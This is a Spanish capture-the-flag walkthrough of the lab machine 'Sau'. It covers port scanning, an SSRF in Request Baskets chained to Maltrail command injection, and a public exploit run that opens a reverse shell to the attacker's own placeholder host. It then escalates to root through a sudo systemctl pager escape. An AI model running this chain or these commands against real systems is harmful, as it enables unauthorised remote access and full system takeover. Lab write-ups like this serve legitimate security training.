Sau
Detalles
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.224
- Autor: AETH3RON
Resumen
Esta máquina es un objetivo Linux de dificultad fácil que requiere encadenar dos vulnerabilidades para lograr la ejecución remota de código. El servicio web en el puerto 55555 ejecuta Request Baskets 1.2.1, vulnerable a Server-Side Request Forgery (SSRF) mediante CVE-2023-27163. Este SSRF nos permite redirigir peticiones a un servicio interno — Maltrail v0.53 — ejecutándose en el puerto 80 filtrado. Maltrail v0.53 es vulnerable a inyección de comandos del sistema operativo, que explotamos a través del basket SSRF para obtener una reverse shell. Tras obtener acceso, la escalada de privilegios se logra abusando de permisos sudo mal configurados en systemctl, permitiendo la ejecución de comandos arbitrarios como root.
Enumeración
Nmap
nmap -Pn -sS -sV -p- 10.10.11.224 -oN nmap-basic
nmap -Pn -sS -sV -sC -p22,80,8338,55555 10.10.11.224 -oN nmap-common
El escaneo revela los siguientes servicios relevantes:
- 22/tcp – SSH (OpenSSH 8.2p1)
- 80/tcp – HTTP (filtrado)
- 8338/tcp – Desconocido (filtrado)
- 55555/tcp – HTTP (servidor Golang net/http)
Web
Al visitar el servicio web alojado en el puerto 55555, se nos presenta una interfaz web titulada Request Baskets.
Al final de la página, la aplicación revela su número de versión. En este caso, la versión en ejecución es:
Acceso Inicial
Tras realizar una búsqueda rápida, descubrimos que Request Baskets 1.2.1 es vulnerable a CVE-2023-27163, una vulnerabilidad de Server-Side Request Forgery (SSRF). Este fallo permite a un atacante crear un basket que reenvía todas las peticiones entrantes a un servicio interno arbitrario, eludiendo eficazmente el filtrado de red.
Recordemos que el puerto 80 aparecía como filtrado en nuestro escaneo Nmap. Explotando el SSRF, podemos configurar un basket para redirigir nuestras peticiones al servicio interno en el puerto 80, que resulta ser Maltrail v0.53 — un sistema de detección de tráfico malicioso.
Maltrail v0.53 es vulnerable a inyección de comandos del sistema operativo a través de su página de login. Encadenando ambas vulnerabilidades — el SSRF para alcanzar Maltrail internamente, y la inyección de comandos para ejecutar comandos arbitrarios — podemos obtener una reverse shell.
Buscando exploits públicos, encontramos una prueba de concepto funcional en GitHub que automatiza esta cadena. Podemos usar el exploit de la siguiente manera:
python3 exploit.py http://10.10.11.XXX:55555 <TU-IP> <TU-PUERTO>
Tras ejecutar el exploit, unos segundos después recibimos una reverse shell en nuestro listener de Netcat, confirmando la ejecución remota de código exitosa a través de la cadena SSRF-a-inyección-de-comandos.
Escalada de Privilegios
Antes de continuar, actualizamos nuestra shell a una TTY completamente interactiva:
python3 -c 'import pty; pty.spawn("/bin/bash")'
A continuación, verificamos nuestros privilegios sudo:
La salida muestra que estamos autorizados a ejecutar un comando específico de systemctl con privilegios sudo.
Como systemctl permite la ejecución de comandos a través de la interacción con el paginador, esta configuración puede ser abusada para obtener una shell root.
Ejecutamos el comando permitido:
sudo systemctl status trail.service
Una vez que se abre el paginador, escapamos a una shell escribiendo:
!sh
Esto resulta en una shell root. Podemos verificar nuestros privilegios:
whoami
# root
En este punto, tenemos control total sobre el sistema.
Impacto de Negocio
En un entorno empresarial real, esta cadena de ataque demuestra cómo una vulnerabilidad de Server-Side Request Forgery puede aprovecharse para alcanzar servicios internos que de otro modo serían inaccesibles. La capacidad de pivotar desde una aplicación proxy expuesta externamente hacia una herramienta de monitorización interna como Maltrail — y lograr ejecución de comandos a través de ella — resalta el peligro de desplegar servicios internos sin parchear tras una segmentación de red mínima. Combinado con permisos sudo mal configurados, un atacante obtendría acceso root completo, comprometiendo todos los datos y servicios alojados en el servidor.
Referencias
- Información sobre CVE-2023-27163:
- Exploit CVE-2023-27163:
- GTFOBINS:
- Maltrail v0.53 RCE:
Nuevos archivos recuperados, directos a tu bandeja. Sin ruido.